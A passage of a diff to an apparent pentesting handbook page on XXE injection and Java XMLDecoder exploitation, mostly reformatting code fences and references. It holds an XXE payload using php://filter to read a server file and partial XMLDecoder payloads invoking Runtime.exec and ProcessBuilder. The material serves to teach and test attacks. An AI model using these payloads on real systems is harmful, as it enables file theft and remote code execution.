```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
@ -755,7 +721,7 @@ XMLDecoder is a Java class that creates objects based on a XML message. If a mal
### Using Runtime().exec()
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
@ -787,7 +753,7 @@ XMLDecoder is a Java class that creates objects based on a XML message. If a mal
### ProcessBuilder
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
@ -821,16 +787,16 @@ XMLDecoder is a Java class that creates objects based on a XML message. If a mal
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
## More resources
## References
[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
[https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
* Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
<details>